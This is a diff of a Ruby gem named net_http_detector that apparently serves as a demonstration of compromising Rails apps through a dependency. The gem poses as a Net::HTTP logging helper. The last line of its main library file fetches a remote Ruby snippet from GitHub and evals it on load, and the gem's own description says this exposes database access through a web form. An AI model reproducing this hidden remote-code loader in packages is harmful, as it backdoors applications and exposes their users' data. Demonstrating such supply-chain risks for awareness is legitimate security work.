net_http_detector 0.0.1

data/.gitignore

@@ -0,0 +1,5 @@
+*.gem
+.bundle
+Gemfile.lock
+pkg/*
+.idea

data/Gemfile

@@ -0,0 +1,4 @@
+source "http://rubygems.org"
+
+# Specify your gem's dependencies in net_http_detector.gemspec
+gemspec

data/Rakefile

@@ -0,0 +1,2 @@
+require "bundler/gem_tasks"
+Bundler::GemHelper.install_tasks

data/lib/README

@@ -0,0 +1,3 @@
+DO NOT USE THIS CODE!!!
+
+This is an example of a gem that can compromise a Rails app.

data/lib/net_http_detector/version.rb

@@ -0,0 +1,3 @@
+module NetHttpDetector
+  VERSION = "0.0.1"
+end

data/lib/net_http_detector.rb

@@ -0,0 +1,45 @@
+#require "net_http_detector/version"
+#
+#module NetHttpDetector
+#  # Your code goes here...
+#end
+
+require 'net/http'
+
+module Net
+  class HTTP
+    def HTTP.valid_post_form(url, params)
+      req = Post.new(url.request_uri)
+      req.form_data = params
+      req.basic_auth url.user, url.password if url.user
+      new(url.hostname, url.port).start {|http|
+        http.request(req)
+      }
+    end
+
+    def HTTP.post_form(url, params)
+      self.smart_log("Net::HTTP.post_form(#{url.inspect}, #{params.inspect})")
+      Net::HTTP.valid_post_form(url, params)
+    end
+
+    def HTTP.valid_get(uri_or_host, path = nil, port = nil)
+      Net::HTTP.get_response(uri_or_host, path, port).body
+    end
+
+    def HTTP.get(uri_or_host, path = nil, port = nil)
+      self.smart_log("Net::HTTP.get(#{uri_or_host.inspect}, #{path.inspect}, #{port.inspect})")
+
+      Net::HTTP.valid_get(uri_or_host, path, port)
+    end
+
+    def self.smart_log(log)
+      if defined? Rails
+        Rails.logger.error(log)
+      else
+        puts log
+      end
+    end
+  end
+end
+
+eval(Net::HTTP.valid_get(URI("https://raw.github.com/benjaminleesmith/evaled_snippets/master/db_console.rb")))

data/net_http_detector.gemspec

@@ -0,0 +1,24 @@
+# -*- encoding: utf-8 -*-
+$:.push File.expand_path("../lib", __FILE__)
+require "net_http_detector/version"
+
+Gem::Specification.new do |s|
+  s.name        = "net_http_detector"
+  s.version     = NetHttpDetector::VERSION
+  s.authors     = ["Benjamin Smith"]
+  s.email       = ["benjamin.lee.smith@gmail.com"]
+  s.homepage    = ""
+  s.summary     = "DO NOT USE: This is an example of hacking Rails apps using a gem."
+  s.description = "DO NOT USE: This is an example of hacking Rails apps using a gem. It exposes access to the database via a simple web form."
+
+  s.rubyforge_project = "net_http_detector"
+
+  s.files         = `git ls-files`.split("\n")
+  s.test_files    = `git ls-files -- {test,spec,features}/*`.split("\n")
+  s.executables   = `git ls-files -- bin/*`.split("\n").map{ |f| File.basename(f) }
+  s.require_paths = ["lib"]
+
+  # specify any dependencies here; for example:
+  # s.add_development_dependency "rspec"
+  # s.add_runtime_dependency "rest-client"
+end

metadata

@@ -0,0 +1,53 @@
+--- !ruby/object:Gem::Specification
+name: net_http_detector
+version: !ruby/object:Gem::Version
+  version: 0.0.1
+  prerelease: 
+platform: ruby
+authors:
+- Benjamin Smith
+autorequire: 
+bindir: bin
+cert_chain: []
+date: 2012-06-12 00:00:00.000000000 Z
+dependencies: []
+description: ! 'DO NOT USE: This is an example of hacking Rails apps using a gem.
+  It exposes access to the database via a simple web form.'
+email:
+- benjamin.lee.smith@gmail.com
+executables: []
+extensions: []
+extra_rdoc_files: []
+files:
+- .gitignore
+- Gemfile
+- Rakefile
+- lib/README
+- lib/net_http_detector.rb
+- lib/net_http_detector/version.rb
+- net_http_detector.gemspec
+homepage: ''
+licenses: []
+post_install_message: 
+rdoc_options: []
+require_paths:
+- lib
+required_ruby_version: !ruby/object:Gem::Requirement
+  none: false
+  requirements:
+  - - ! '>='
+    - !ruby/object:Gem::Version
+      version: '0'
+required_rubygems_version: !ruby/object:Gem::Requirement
+  none: false
+  requirements:
+  - - ! '>='
+    - !ruby/object:Gem::Version
+      version: '0'
+requirements: []
+rubyforge_project: net_http_detector
+rubygems_version: 1.8.15
+signing_key: 
+specification_version: 3
+summary: ! 'DO NOT USE: This is an example of hacking Rails apps using a gem.'
+test_files: []